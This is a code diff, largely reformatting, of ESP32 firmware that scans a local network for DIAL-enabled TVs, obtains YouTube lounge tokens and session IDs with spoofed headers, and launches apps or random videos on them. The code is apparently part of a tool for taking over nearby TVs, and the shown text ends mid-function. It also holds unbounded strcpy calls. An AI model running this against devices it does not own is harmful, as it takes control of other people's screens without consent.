.event_handler = _http_event_handler, + .user_data = &resp_buf, + }; + esp_http_client_handle_t client = esp_http_client_init(&config); + + if (!client) { + ESP_LOGE(TAG, "Failed to initialize HTTP client."); free(resp_buf.buffer); - return ESP_OK; -} + return ESP_FAIL; + } -char* extract_token_from_json(const char *json_response) { - cJSON *json = cJSON_Parse(json_response); - if (!json) { - ESP_LOGE(TAG, "Failed to parse JSON."); - return NULL; - } + esp_http_client_set_method(client, HTTP_METHOD_POST); + esp_http_client_set_header(client, "Content-Type", "application/json"); + esp_http_client_set_header(client, "Origin", "https://www.youtube.com"); - - cJSON *screens = cJSON_GetObjectItem(json, "screens"); - if (!screens || !cJSON_IsArray(screens)) { - ESP_LOGE(TAG, "No screens array in response."); - cJSON_Delete(json); - return NULL; - } + char full_url[4096]; + snprintf(full_url, sizeof(full_url), "%s?%s", config.url, url_params); + esp_http_client_set_url(client, full_url); - cJSON *first_screen = cJSON_GetArrayItem(screens, 0); - if (!first_screen) { - ESP_LOGE(TAG, "No screen element found."); - cJSON_Delete(json); - return NULL; - } + const char *json_data = "{\"count\": 0}"; + esp_http_client_set_post_field(client, json_data, strlen(json_data)); - cJSON *lounge_token = cJSON_GetObjectItem(first_screen, "loungeToken"); - if (!lounge_token || !cJSON_IsString(lounge_token)) { - ESP_LOGE(TAG, "No loungeToken found."); - cJSON_Delete(json); - return NULL; - } + ESP_LOGI(TAG, "Request Body: %s", json_data); - char *token = strdup(lounge_token->valuestring); - cJSON_Delete(json); - return token; + esp_err_t err = esp_http_client_perform(client); + if (err != ESP_OK) { + ESP_LOGE(TAG, "HTTP request failed: %s", esp_err_to_name(err)); + esp_http_client_cleanup(client); + free(resp_buf.buffer); + return err; + } + + if (resp_buf.buffer_len < resp_buf.buffer_size) { + resp_buf.buffer[resp_buf.buffer_len] = '\0'; + } else { + char *new_buffer = realloc(resp_buf.buffer, resp_buf.buffer_size + 1); + if (new_buffer == NULL) { + ESP_LOGE(TAG, "Failed to allocate memory for null terminator"); + esp_http_client_cleanup(client); + free(resp_buf.buffer); + return ESP_FAIL; + } + resp_buf.buffer = new_buffer; + resp_buf.buffer[resp_buf.buffer_len] = '\0'; + } + + printf("Response: %s", resp_buf.buffer); + + BindSession_Params_t result = parse_response(resp_buf.buffer); + + char *gsession_item = result.gsessionid; + char *sid_item = result.sid; + char *lid_item = result.listId; + + if (gsession_item && sid_item) { + strcpy(device->gsession, gsession_item); + strcpy(device->SID, sid_item); + if (lid_item && lid_item) { + strcpy(device->listID, lid_item); + } + ESP_LOGI(TAG, "Session bound successfully."); + } else { + ESP_LOGE(TAG, "Failed to bind session ID."); + esp_http_client_cleanup(client); + free(resp_buf.buffer); + return ESP_FAIL; + } + + // Clean up + free(encoded_loungeIdToken); + free(encoded_UUID); + free(encoded_zx); + free(encoded_name); + free(zx); + esp_http_client_cleanup(client); + free(resp_buf.buffer); + return ESP_OK; } -char* get_youtube_token(const char *screen_id) { - response_buffer_t resp_buf = { .buffer = malloc(1024), .buffer_len = 0, .buffer_size = 1024 }; - if (resp_buf.buffer == NULL) { - ESP_LOGE(TAG, "Failed to allocate memory for response buffer"); - return NULL; - } +char *extract_token_from_json(const char *json_response) { + cJSON *json = cJSON_Parse(json_response); + if (!json) { + ESP_LOGE(TAG, "Failed to parse JSON."); + return NULL; + } - // Configure HTTP client - esp_http_client_config_t config = { - .url = "https://www.youtube.com/api/lounge/pairing/get_lounge_token_batch", - .crt_bundle_attach = esp_crt_bundle_attach, - .timeout_ms = 10000, - .method = HTTP_METHOD_POST, - .transport_type = HTTP_TRANSPORT_OVER_SSL, - .event_handler = _http_event_handler, - .user_data = &resp_buf, - }; - - esp_http_client_handle_t client = esp_http_client_init(&config); - if (!client) { - ESP_LOGE(TAG, "Failed to initialize HTTP client."); - free(resp_buf.buffer); - return NULL; - } + cJSON *screens = cJSON_GetObjectItem(json, "screens"); + if (!screens || !cJSON_IsArray(screens)) { + ESP_LOGE(TAG, "No screens array in response."); + cJSON_Delete(json); + return NULL; + } - // Prepare POST data - char post_data[128]; - snprintf(post_data, sizeof(post_data), "screen_ids=%s", screen_id); + cJSON *first_screen = cJSON_GetArrayItem(screens, 0); + if (!first_screen) { + ESP_LOGE(TAG, "No screen element found."); + cJSON_Delete(json); + return NULL; + } - // Set the POST data - esp_http_client_set_post_field(client, post_data, strlen(post_data)); + cJSON *lounge_token = cJSON_GetObjectItem(first_screen, "loungeToken"); + if (!lounge_token || !cJSON_IsString(lounge_token)) { + ESP_LOGE(TAG, "No loungeToken found."); + cJSON_Delete(json); + return NULL; + } - // Set headers - esp_http_client_set_header(client, "Content-Type", "application/x-www-form-urlencoded"); + char *token = strdup(lounge_token->valuestring); + cJSON_Delete(json); + return token; +} - // Perform the HTTP request - esp_err_t err = esp_http_client_perform(client); - if (err != ESP_OK) { - ESP_LOGE(TAG, "HTTP request failed: %s", esp_err_to_name(err)); - esp_http_client_cleanup(client); - free(resp_buf.buffer); - return NULL; - } +char *get_youtube_token(const char *screen_id) { + response_buffer_t resp_buf = { + .buffer = malloc(1024), .buffer_len = 0, .buffer_size = 1024}; + if (resp_buf.buffer == NULL) { + ESP_LOGE(TAG, "Failed to allocate memory for response buffer"); + return NULL; + } + + // Configure HTTP client + esp_http_client_config_t config = { + .url = + "https://www.youtube.com/api/lounge/pairing/get_lounge_token_batch", + .crt_bundle_attach = esp_crt_bundle_attach, + .timeout_ms = 10000, + .method = HTTP_METHOD_POST, + .transport_type = HTTP_TRANSPORT_OVER_SSL, + .event_handler = _http_event_handler, + .user_data = &resp_buf, + }; + + esp_http_client_handle_t client = esp_http_client_init(&config); + if (!client) { + ESP_LOGE(TAG, "Failed to initialize HTTP client."); + free(resp_buf.buffer); + return NULL; + } - // Get the HTTP status code - int status_code = esp_http_client_get_status_code(client); - ESP_LOGI(TAG, "HTTP Response Code: %d", status_code); - if (status_code != 200) { - ESP_LOGE(TAG, "Failed to retrieve token. HTTP Response Code: %d", status_code); - esp_http_client_cleanup(client); - free(resp_buf.buffer); - return NULL; - } + // Prepare POST data + char post_data[128]; + snprintf(post_data, sizeof(post_data), "screen_ids=%s", screen_id); - if (resp_buf.buffer_len < resp_buf.buffer_size) { - resp_buf.buffer[resp_buf.buffer_len] = '\0'; - } else { - // Reallocate buffer to add null terminator - char *new_buffer = realloc(resp_buf.buffer, resp_buf.buffer_size + 1); - if (new_buffer == NULL) { - ESP_LOGE(TAG, "Failed to allocate memory for null terminator"); - esp_http_client_cleanup(client); - free(resp_buf.buffer); - return NULL; - } - resp_buf.buffer = new_buffer; - resp_buf.buffer[resp_buf.buffer_len] = '\0'; - } + // Set the POST data + esp_http_client_set_post_field(client, post_data, strlen(post_data)); - // Log the raw API response - ESP_LOGI(TAG, "YouTube API raw response: %s", resp_buf.buffer); + // Set headers + esp_http_client_set_header(client, "Content-Type", + "application/x-www-form-urlencoded"); - // Extract the lounge token from the JSON response - char *lounge_token = extract_token_from_json(resp_buf.buffer); - if (lounge_token) { - ESP_LOGI(TAG, "Successfully retrieved loungeToken: %s", lounge_token); - } else { - ESP_LOGE(TAG, "Failed to parse JSON or retrieve loungeToken."); - } - - // Free the allocated memory + // Perform the HTTP request + esp_err_t err = esp_http_client_perform(client); + if (err != ESP_OK) { + ESP_LOGE(TAG, "HTTP request failed: %s", esp_err_to_name(err)); + esp_http_client_cleanup(client); free(resp_buf.buffer); - - // Clean up the HTTP client + return NULL; + } + + // Get the HTTP status code + int status_code = esp_http_client_get_status_code(client); + ESP_LOGI(TAG, "HTTP Response Code: %d", status_code); + if (status_code != 200) { + ESP_LOGE(TAG, "Failed to retrieve token. HTTP Response Code: %d", + status_code); esp_http_client_cleanup(client); - - // Return the lounge token (or NULL if extraction failed) - return lounge_token; + free(resp_buf.buffer); + return NULL; + } + + if (resp_buf.buffer_len < resp_buf.buffer_size) { + resp_buf.buffer[resp_buf.buffer_len] = '\0'; + } else { + // Reallocate buffer to add null terminator + char *new_buffer = realloc(resp_buf.buffer, resp_buf.buffer_size + 1); + if (new_buffer == NULL) { + ESP_LOGE(TAG, "Failed to allocate memory for null terminator"); + esp_http_client_cleanup(client); + free(resp_buf.buffer); + return NULL; + } + resp_buf.buffer = new_buffer; + resp_buf.buffer[resp_buf.buffer_len] = '\0'; + } + + // Log the raw API response + ESP_LOGI(TAG, "YouTube API raw response: %s", resp_buf.buffer); + + // Extract the lounge token from the JSON response + char *lounge_token = extract_token_from_json(resp_buf.buffer); + if (lounge_token) { + ESP_LOGI(TAG, "Successfully retrieved loungeToken: %s", lounge_token); + } else { + ESP_LOGE(TAG, "Failed to parse JSON or retrieve loungeToken."); + } + + // Free the allocated memory + free(resp_buf.buffer); + + // Clean up the HTTP client + esp_http_client_cleanup(client); + + // Return the lounge token (or NULL if extraction failed) + return lounge_token; } -char* extract_screen_id(const char* xml_data) { - const char* start_tag = ""; - const char* end_tag = ""; - - char* start = strstr(xml_data, start_tag); - if (!start) { - ESP_LOGE("DIALManager", "Start tag not found."); - return NULL; - } - start += strlen(start_tag); - +char *extract_screen_id(const char *xml_data) { + const char *start_tag = ""; + const char *end_tag = ""; - char* end = strstr(start, end_tag); - if (!end) { - ESP_LOGE("DIALManager", "End tag not found."); - return NULL; - } + char *start = strstr(xml_data, start_tag); + if (!start) { + ESP_LOGE("DIALManager", "Start tag not found."); + return NULL; + } + start += strlen(start_tag); - size_t screen_id_len = end - start; - if (screen_id_len == 0) { - ESP_LOGE("DIALManager", "Extracted screenId is empty."); - return NULL; - } + char *end = strstr(start, end_tag); + if (!end) { + ESP_LOGE("DIALManager", "End tag not found."); + return NULL; + } - - char* screen_id = malloc(screen_id_len + 1); - if (screen_id) { - strncpy(screen_id, start, screen_id_len); - screen_id[screen_id_len] = '\0'; - ESP_LOGI("DIALManager", "Extracted screenId: %s", screen_id); - } - return screen_id; + size_t screen_id_len = end - start; + if (screen_id_len == 0) { + ESP_LOGE("DIALManager", "Extracted screenId is empty."); + return NULL; + } + + char *screen_id = malloc(screen_id_len + 1); + if (screen_id) { + strncpy(screen_id, start, screen_id_len); + screen_id[screen_id_len] = '\0'; + ESP_LOGI("DIALManager", "Extracted screenId: %s", screen_id); + } + return screen_id; } // Initialize DIAL Manager esp_err_t dial_manager_init(DIALManager *manager, DIALClient *client) { - if (!manager || !client) { - return ESP_ERR_INVALID_ARG; - } - manager->client = client; - return ESP_OK; + if (!manager || !client) { + return ESP_ERR_INVALID_ARG; + } + manager->client = client; + return ESP_OK; } -bool fetch_screen_id_with_retries(const char *applicationUrl, Device *device, DIALManager *manager) { - const int max_retries = 5; // Max retries (approx. 15 seconds total) - const int retry_delay_ms = 3000; // 3 seconds delay between retries - - for (int i = 0; i < max_retries; i++) { - - if (check_app_status(manager, APP_YOUTUBE, applicationUrl, device) == ESP_OK && strlen(device->screenID) > 0) { - ESP_LOGI(TAG, "Fetched Screen ID: %s", device->screenID); - - - char *youtube_token = get_youtube_token(device->screenID); - if (youtube_token) { - strncpy(device->YoutubeToken, youtube_token, sizeof(device->YoutubeToken) - 1); - device->YoutubeToken[sizeof(device->YoutubeToken) - 1] = '\0'; - free(youtube_token); - ESP_LOGI(TAG, "Fetched YouTube Token: %s", device->YoutubeToken); - } else { - ESP_LOGE(TAG, "Failed to fetch YouTube token."); - return false; - } - - - if (bind_session_id(device) == ESP_OK) { - ESP_LOGI(TAG, "Session successfully bound."); - return true; - } else { - ESP_LOGE(TAG, "Failed to bind session ID."); - return false; - } - } else { - ESP_LOGW(TAG, "Screen ID is empty. Retrying... (%d/%d)", i + 1, max_retries); - vTaskDelay(retry_delay_ms / portTICK_PERIOD_MS); - } - } +bool fetch_screen_id_with_retries(const char *applicationUrl, Device *device, + DIALManager *manager) { + const int max_retries = 5; // Max retries (approx. 15 seconds total) + const int retry_delay_ms = 3000; // 3 seconds delay between retries + + for (int i = 0; i < max_retries; i++) { + + if (check_app_status(manager, APP_YOUTUBE, applicationUrl, device) == + ESP_OK && + strlen(device->screenID) > 0) { + ESP_LOGI(TAG, "Fetched Screen ID: %s", device->screenID); + + char *youtube_token = get_youtube_token(device->screenID); + if (youtube_token) { + strncpy(device->YoutubeToken, youtube_token, + sizeof(device->YoutubeToken) - 1); + device->YoutubeToken[sizeof(device->YoutubeToken) - 1] = '\0'; + free(youtube_token); + ESP_LOGI(TAG, "Fetched YouTube Token: %s", device->YoutubeToken); + } else { + ESP_LOGE(TAG, "Failed to fetch YouTube token."); + return false; + } + if (bind_session_id(device) == ESP_OK) { + ESP_LOGI(TAG, "Session successfully bound."); + return true; + } else { + ESP_LOGE(TAG, "Failed to bind session ID."); + return false; + } + } else { + ESP_LOGW(TAG, "Screen ID is empty. Retrying... (%d/%d)", i + 1, + max_retries); + vTaskDelay(retry_delay_ms / portTICK_PERIOD_MS); + } + } - ESP_LOGE(TAG, "Failed to fetch Screen ID after max retries."); - return false; + ESP_LOGE(TAG, "Failed to fetch Screen ID after max retries."); + return false; } -char *g_app_url = NULL; +char *g_app_url = NULL; esp_err_t _http_event_header_handler(esp_http_client_event_t *evt) { - switch(evt->event_id) { - case HTTP_EVENT_ON_HEADER: - ESP_LOGI(TAG, "Header: %s: %s", evt->header_key, evt->header_value); - if (strcasecmp(evt->header_key, "Application-Url") == 0) { - if (evt->header_value != NULL) { - g_app_url = strdup(evt->header_value); - } - } - break; - default: - break; - } - return ESP_OK; + switch (evt->event_id) { + case HTTP_EVENT_ON_HEADER: + ESP_LOGI(TAG, "Header: %s: %s", evt->header_key, evt->header_value); + if (strcasecmp(evt->header_key, "Application-Url") == 0) { + if (evt->header_value != NULL) { + g_app_url = strdup(evt->header_value); + } + } + break; + default: + break; + } + return ESP_OK; } -char* get_dial_application_url(const char *location_url) { - char ip[64]; - uint16_t port = 0; +char *get_dial_application_url(const char *location_url) { + char ip[64]; + uint16_t port = 0; - - if (extract_ip_and_port(location_url, ip, &port) != ESP_OK) { - ESP_LOGE(TAG, "Failed to extract IP and port from URL"); - return NULL; - } + if (extract_ip_and_port(location_url, ip, &port) != ESP_OK) { + ESP_LOGE(TAG, "Failed to extract IP and port from URL"); + return NULL; + } - - char *path = extract_path_from_url(location_url); - if (!path) { - ESP_LOGE(TAG, "Failed to extract path from URL"); - return NULL; - } + char *path = extract_path_from_url(location_url); + if (!path) { + ESP_LOGE(TAG, "Failed to extract path from URL"); + return NULL; + } - ESP_LOGI(TAG, "Connecting to IP: %s, Port: %u, Path: %s", ip, port, path); - - - esp_http_client_config_t config = { - .host = ip, - .port = port, - .path = path, - .timeout_ms = 5000, - .event_handler = _http_event_header_handler, // Set the event handler - }; - esp_http_client_handle_t client = esp_http_client_init(&config); - - if (!client) { - ESP_LOGE(TAG, "Failed to initialize HTTP client"); - free(path); - return NULL; - } + ESP_LOGI(TAG, "Connecting to IP: %s, Port: %u, Path: %s", ip, port, path); - - esp_err_t err = esp_http_client_perform(client); - if (err != ESP_OK) { - ESP_LOGE(TAG, "HTTP request failed: %s", esp_err_to_name(err)); - esp_http_client_cleanup(client); - free(path); - return NULL; - } + esp_http_client_config_t config = { + .host = ip, + .port = port, + .path = path, + .timeout_ms = 5000, + .event_handler = _http_event_header_handler, // Set the event handler + }; + esp_http_client_handle_t client = esp_http_client_init(&config); - - int status_code = esp_http_client_get_status_code(client); - ESP_LOGI(TAG, "HTTP Status Code: %d", status_code); - if (status_code != 200) { - ESP_LOGE(TAG, "Failed to fetch device description. HTTP Status Code: %d", status_code); - esp_http_client_cleanup(client); - free(path); - return NULL; - } + if (!client) { + ESP_LOGE(TAG, "Failed to initialize HTTP client"); + free(path); + return NULL; + } - - if (g_app_url != NULL) { - ESP_LOGI(TAG, "Application-Url: %s", g_app_url); - char *app_url_copy = strdup(g_app_url); - free(g_app_url); - g_app_url = NULL; - esp_http_client_cleanup(client); - free(path); - return app_url_copy; - } else { - ESP_LOGE(TAG, "Couldn't find 'Application-Url' in the headers."); - } + esp_err_t err = esp_http_client_perform(client); + if (err != ESP_OK) { + ESP_LOGE(TAG, "HTTP request failed: %s", esp_err_to_name(err)); + esp_http_client_cleanup(client); + free(path); + return NULL; + } - + int status_code = esp_http_client_get_status_code(client); + ESP_LOGI(TAG, "HTTP Status Code: %d", status_code); + if (status_code != 200) { + ESP_LOGE(TAG, "Failed to fetch device description. HTTP Status Code: %d", + status_code); esp_http_client_cleanup(client); free(path); return NULL; + } + + if (g_app_url != NULL) { + ESP_LOGI(TAG, "Application-Url: %s", g_app_url); + char *app_url_copy = strdup(g_app_url); + free(g_app_url); + g_app_url = NULL; + esp_http_client_cleanup(client); + free(path); + return app_url_copy; + } else { + ESP_LOGE(TAG, "Couldn't find 'Application-Url' in the headers."); + } + + esp_http_client_cleanup(client); + free(path); + return NULL; } // Helper to extract IP and port from URL -esp_err_t extract_ip_and_port(const char *url, char *ip_out, uint16_t *port_out) { - const char *ip_start = strstr(url, "http://"); - if (!ip_start) { - return ESP_ERR_INVALID_ARG; - } - ip_start += strlen("http://"); - - const char *port_start = strchr(ip_start, ':'); - const char *path_start = strchr(ip_start, '/'); - if (!port_start || !path_start || port_start > path_start) { - return ESP_ERR_INVALID_ARG; - } - - // Extract the IP and port - size_t ip_len = port_start - ip_start; - strncpy(ip_out, ip_start, ip_len); - ip_out[ip_len] = '\0'; - - *port_out = atoi(port_start + 1); - - return ESP_OK; +esp_err_t extract_ip_and_port(const char *url, char *ip_out, + uint16_t *port_out) { + const char *ip_start = strstr(url, "http://"); + if (!ip_start) { + return ESP_ERR_INVALID_ARG; + } + ip_start += strlen("http://"); + + const char *port_start = strchr(ip_start, ':'); + const char *path_start = strchr(ip_start, '/'); + if (!port_start || !path_start || port_start > path_start) { + return ESP_ERR_INVALID_ARG; + } + + // Extract the IP and port + size_t ip_len = port_start - ip_start; + strncpy(ip_out, ip_start, ip_len); + ip_out[ip_len] = '\0'; + + *port_out = atoi(port_start + 1); + + return ESP_OK; } // Helper to get the correct path for the app -const char* get_app_path(DIALAppType app) { - switch (app) { - case APP_YOUTUBE: - return "/YouTube"; - case APP_NETFLIX: - return "/Netflix"; - default: - return "/"; - } +const char *get_app_path(DIALAppType app) { + switch (app) { + case APP_YOUTUBE: + return "/YouTube"; + case APP_NETFLIX: + return "/Netflix"; + default: + return "/"; + } } -char* remove_ip_and_port(const char *url) { - const char *path_start = strchr(url, '/'); - if (path_start) { - if (strncmp(path_start, "//", 2) == 0) { - path_start = strchr(path_start + 2, '/'); - } +char *remove_ip_and_port(const char *url) { + const char *path_start = strchr(url, '/'); + if (path_start) { + if (strncmp(path_start, "//", 2) == 0) { + path_start = strchr(path_start + 2, '/'); } + } - - if (path_start) { - return strdup(path_start); - } + if (path_start) { + return strdup(path_start); + } - return NULL; + return NULL; } - // Check the app status by communicating with the device -esp_err_t check_app_status(DIALManager *manager, DIALAppType app, const char *appUrl, Device *device) { - if (!manager || !appUrl || !device) { - return ESP_ERR_INVALID_ARG; - } - - char ip[64]; - uint16_t port = 0; - if (extract_ip_and_port(appUrl, ip, &port) != ESP_OK) { - ESP_LOGE(TAG, "Failed to extract IP and port from URL"); - return ESP_ERR_INVALID_ARG; - } - - const char *app_path = get_app_path(app); - char full_path[256]; - snprintf(full_path, sizeof(full_path), "%s%s", appUrl, app_path); - - ESP_LOGI(TAG, "Connecting to IP: %s, Port: %u, Path: %s", ip, port, app_path); - - char *path = remove_ip_and_port(full_path); - - esp_http_client_config_t config = { - .host = ip, - .port = port, - .path = path, - .timeout_ms = 5000 - }; - esp_http_client_handle_t http_client = esp_http_client_init(&config); - if (http_client == NULL) { - ESP_LOGE(TAG, "Failed to initialize HTTP client"); - return ESP_ERR_NO_MEM; - } - - esp_http_client_set_header(http_client, "Origin", "https://www.youtube.com"); - esp_http_client_set_header(http_client, "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36"); - esp_http_client_set_header(http_client, "Content-Type", "application/x-www-form-urlencoded"); - - // Open the connection manually - esp_err_t err = esp_http_client_open(http_client, 0); // 0 means no request body - if (err != ESP_OK) { - ESP_LOGE(TAG, "Failed to open HTTP connection: %s", esp_err_to_name(err)); - esp_http_client_cleanup(http_client); - return err; - } - - // Check if we got any headers back - int status_code = esp_http_client_fetch_headers(http_client); - if (status_code < 0) { - ESP_LOGE(TAG, "Failed to fetch HTTP headers"); - esp_http_client_cleanup(http_client); - return ESP_FAIL; - } +esp_err_t check_app_status(DIALManager *manager, DIALAppType app, + const char *appUrl, Device *device) { + if (!manager || !appUrl || !device) { + return ESP_ERR_INVALID_ARG; + } + + char ip[64]; + uint16_t port = 0; + if (extract_ip_and_port(appUrl, ip, &port) != ESP_OK) { + ESP_LOGE(TAG, "Failed to extract IP and port from URL"); + return ESP_ERR_INVALID_ARG; + } + + const char *app_path = get_app_path(app); + char full_path[256]; + snprintf(full_path, sizeof(full_path), "%s%s", appUrl, app_path); + + ESP_LOGI(TAG, "Connecting to IP: %s, Port: %u, Path: %s", ip, port, app_path); + + char *path = remove_ip_and_port(full_path); + + esp_http_client_config_t config = { + .host = ip, .port = port, .path = path, .timeout_ms = 5000}; + esp_http_client_handle_t http_client = esp_http_client_init(&config); + if (http_client == NULL) { + ESP_LOGE(TAG, "Failed to initialize HTTP client"); + return ESP_ERR_NO_MEM; + } + + esp_http_client_set_header(http_client, "Origin", "https://www.youtube.com"); + esp_http_client_set_header( + http_client, "User-Agent", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, " + "like Gecko) Chrome/96.0.4664.45 Safari/537.36"); + esp_http_client_set_header(http_client, "Content-Type", + "application/x-www-form-urlencoded"); + + // Open the connection manually + esp_err_t err = + esp_http_client_open(http_client, 0); // 0 means no request body + if (err != ESP_OK) { + ESP_LOGE(TAG, "Failed to open HTTP connection: %s", esp_err_to_name(err)); + esp_http_client_cleanup(http_client); + return err; + } - // Log HTTP status code - status_code = esp_http_client_get_status_code(http_client); - ESP_LOGI(TAG, "HTTP status code: %d", status_code); - - if (status_code == 200) { - char response_body[1024]; - int content_len = esp_http_client_read(http_client, response_body, sizeof(response_body) - 1); - if (content_len >= 0) { - response_body[content_len] = '\0'; // Null-terminate the response body - - ESP_LOGI(TAG, "Response Body:\n%s", response_body); - - // Check if app is running - if (strstr(response_body, "running")) { - ESP_LOGI("DIALManager", "%s app is running", (app == APP_YOUTUBE) ? "YouTube" : "Netflix"); - - // Extract screenId from the response - char *screen_id = extract_screen_id(response_body); - if (screen_id) { - strncpy(device->screenID, screen_id, sizeof(device->screenID) - 1); // Store in device - free(screen_id); // Free allocated memory - esp_http_client_cleanup(http_client); - return ESP_OK; - } - esp_http_client_cleanup(http_client); - return ESP_FAIL; - } else { - ESP_LOGW("DIALManager", "%s app is not running", (app == APP_YOUTUBE) ? "YouTube" : "Netflix"); - esp_http_client_cleanup(http_client); - return ESP_ERR_NOT_FOUND; - } - } else { - ESP_LOGE(TAG, "Failed to read HTTP response body"); - esp_http_client_cleanup(http_client); - return ESP_FAIL; + // Check if we got any headers back + int status_code = esp_http_client_fetch_headers(http_client); + if (status_code < 0) { + ESP_LOGE(TAG, "Failed to fetch HTTP headers"); + esp_http_client_cleanup(http_client); + return ESP_FAIL; + } + + // Log HTTP status code + status_code = esp_http_client_get_status_code(http_client); + ESP_LOGI(TAG, "HTTP status code: %d", status_code); + + if (status_code == 200) { + char response_body[1024]; + int content_len = esp_http_client_read(http_client, response_body, + sizeof(response_body) - 1); + if (content_len >= 0) { + response_body[content_len] = '\0'; // Null-terminate the response body + + ESP_LOGI(TAG, "Response Body:\n%s", response_body); + + // Check if app is running + if (strstr(response_body, "running")) { + ESP_LOGI("DIALManager", "%s app is running", + (app == APP_YOUTUBE) ? "YouTube" : "Netflix"); + + // Extract screenId from the response + char *screen_id = extract_screen_id(response_body); + if (screen_id) { + strncpy(device->screenID, screen_id, + sizeof(device->screenID) - 1); // Store in device + free(screen_id); // Free allocated memory + esp_http_client_cleanup(http_client); + return ESP_OK; } - } else { - ESP_LOGE("DIALManager", "Unexpected HTTP status code: %d", status_code); esp_http_client_cleanup(http_client); return ESP_FAIL; + } else { + ESP_LOGW("DIALManager", "%s app is not running", + (app == APP_YOUTUBE) ? "YouTube" : "Netflix"); + esp_http_client_cleanup(http_client); + return ESP_ERR_NOT_FOUND; + } + } else { + ESP_LOGE(TAG, "Failed to read HTTP response body"); + esp_http_client_cleanup(http_client); + return ESP_FAIL; } + } else { + ESP_LOGE("DIALManager", "Unexpected HTTP status code: %d", status_code); + esp_http_client_cleanup(http_client); + return ESP_FAIL; + } } - - bool launch_app(DIALManager *manager, DIALAppType app, const char *appUrl) { - if (!manager || !appUrl) { - return false; - } - - char ip[64]; - uint16_t port = 0; - if (extract_ip_and_port(appUrl, ip, &port) != ESP_OK) { - ESP_LOGE(TAG, "Failed to extract IP and port from URL"); - return false; - } + if (!manager || !appUrl) { + return false; + } - const char *app_path = get_app_path(app); - char full_path[256]; - snprintf(full_path, sizeof(full_path), "%s%s", appUrl, app_path); - - ESP_LOGI(TAG, "Launching app: %s at IP: %s, Port: %u, Path: %s", - (app == APP_YOUTUBE) ? "YouTube" : "Netflix", ip, port, full_path); - - char *path = remove_ip_and_port(full_path); - - esp_http_client_config_t config = { - .host = ip, - .port = port, - .path = path, - .method = HTTP_METHOD_POST, - .timeout_ms = 5000, - }; - esp_http_client_handle_t http_client = esp_http_client_init(&config); - - esp_http_client_set_header(http_client, "Origin", "https://www.youtube.com"); - - esp_err_t err = esp_http_client_perform(http_client); - if (err == ESP_OK) { - int status_code = esp_http_client_get_status_code(http_client); - if (status_code == 201 || status_code == 200) { - ESP_LOGI(TAG, "Successfully launched the app: %s", (app == APP_YOUTUBE) ? "YouTube" : "Netflix"); - esp_http_client_cleanup(http_client); - return true; - } else { - ESP_LOGE(TAG, "Failed to launch the app. HTTP Response Code: %d", status_code); - } + char ip[64]; + uint16_t port = 0; + if (extract_ip_and_port(appUrl, ip, &port) != ESP_OK) { + ESP_LOGE(TAG, "Failed to extract IP and port from URL"); + return false; + } + + const char *app_path = get_app_path(app); + char full_path[256]; + snprintf(full_path, sizeof(full_path), "%s%s", appUrl, app_path); + + ESP_LOGI(TAG, "Launching app: %s at IP: %s, Port: %u, Path: %s", + (app == APP_YOUTUBE) ? "YouTube" : "Netflix", ip, port, full_path); + + char *path = remove_ip_and_port(full_path); + + esp_http_client_config_t config = { + .host = ip, + .port = port, + .path = path, + .method = HTTP_METHOD_POST, + .timeout_ms = 5000, + }; + esp_http_client_handle_t http_client = esp_http_client_init(&config); + + esp_http_client_set_header(http_client, "Origin", "https://www.youtube.com"); + + esp_err_t err = esp_http_client_perform(http_client); + if (err == ESP_OK) { + int status_code = esp_http_client_get_status_code(http_client); + if (status_code == 201 || status_code == 200) { + ESP_LOGI(TAG, "Successfully launched the app: %s", + (app == APP_YOUTUBE) ? "YouTube" : "Netflix"); + esp_http_client_cleanup(http_client); + return true; } else { - ESP_LOGE(TAG, "Failed to send the launch request. Error: %s", esp_err_to_name(err)); + ESP_LOGE(TAG, "Failed to launch the app. HTTP Response Code: %d", + status_code); } + } else { + ESP_LOGE(TAG, "Failed to send the launch request. Error: %s", + esp_err_to_name(err)); + } - esp_http_client_cleanup(http_client); - return false; + esp_http_client_cleanup(http_client); + return false; } - const char *pick_random_yt_video() { - - const char *yt_urls[] = { - "dQw4w9WgXcQ", // Video 1 - "qWNQUvIk954", // Video 2 - "ZZujisNZuw0", // Video 3 - "rfXJ6xM1JnE" // Video 4 - }; - int num_videos = sizeof(yt_urls) / sizeof(yt_urls[0]); + const char *yt_urls[] = { + "dQw4w9WgXcQ", // Video 1 + "qWNQUvIk954", // Video 2 + "ZZujisNZuw0", // Video 3 + "rfXJ6xM1JnE" // Video 4 + }; + int num_videos = sizeof(yt_urls) / sizeof(yt_urls[0]); - uint32_t random_number = esp_random(); + uint32_t random_number = esp_random(); - int random_index = random_number % num_videos; + int random_index = random_number % num_videos; - return yt_urls[random_index]; + return yt_urls[random_index]; } - void explore_network(DIALManager *manager) { - printf("\n[*] Starting network exploration...\n"); - - for (int attempt = 0; attempt < 5; ++attempt) { - Device *devices = (Device *)malloc(sizeof(Device) * 10); - size_t device_count = 0; - - printf("\n[+] Scan attempt %d/5\n", attempt + 1); - printf(" Discovering DIAL-enabled devices...\n"); - - ESP_LOGI(TAG, "Discovering devices... (Attempt %d/%d)", attempt + 1, 5); - if (dial_client_discover_devices(manager->client, devices, 10, &device_count) != ESP_OK || device_count == 0) { - ESP_LOGW(TAG, "No devices discovered. Retrying..."); - printf(" [-] No devices found. Retrying...\n"); - vTaskDelay(500 / portTICK_PERIOD_MS); - continue; + printf("\n[*] Starting network exploration...\n"); + + for (int attempt = 0; attempt < 5; ++attempt) { + Device *devices = (Device *)malloc(sizeof(Device) * 10); + size_t device_count = 0; + + printf("\n[+] Scan attempt %d/5\n", attempt + 1); + printf(" Discovering DIAL-enabled devices...\n"); + + ESP_LOGI(TAG, "Discovering devices... (Attempt %d/%d)", attempt + 1, 5); + if (dial_client_discover_devices(manager->client, devices, 10, + &device_count) != ESP_OK || + device_count == 0) { + ESP_LOGW(TAG, "No devices discovered. Retrying..."); + printf(" [-] No devices found. Retrying...\n"); + vTaskDelay(500 / portTICK_PERIOD_MS); + continue; + } + + printf(" [+] Found %d device(s)!\n", device_count); + + for (size_t i = 0; i < device_count; ++i) { + Device *device = &devices[i]; + ESP_LOGI(TAG, "Discovered Device: %s (Location: %s)", + device->uniqueServiceName, device->location); + + char *appUrl = get_dial_application_url(device->location); + if (appUrl == NULL) { + printf(" [-] Failed to get application URL\n"); + continue; + } + printf(" [+] Got application URL\n"); + + if (check_app_status(manager, APP_YOUTUBE, appUrl, device) != 